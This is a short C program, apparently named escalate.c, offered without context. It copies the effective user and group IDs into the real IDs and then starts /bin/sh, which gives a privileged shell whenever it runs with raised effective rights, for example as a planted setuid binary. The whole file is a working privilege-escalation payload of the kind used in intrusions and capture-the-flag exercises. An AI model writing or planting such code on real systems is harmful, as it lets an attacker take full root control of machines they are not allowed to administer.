escalate.c

#include <unistd.h>
#include <stdio.h>

extern char** environ;

int main() {
        printf("(%d->%d):(%d->%d)\n", getuid(), geteuid(), getgid(), getegid());
        setuid(geteuid());
        setgid(getegid());
        printf("(%d->%d):(%d->%d)\n", getuid(), geteuid(), getgid(), getegid());
        char* n = "/bin/sh";
        char* newargs[] = {n, NULL};
        execve(n, newargs, environ);
}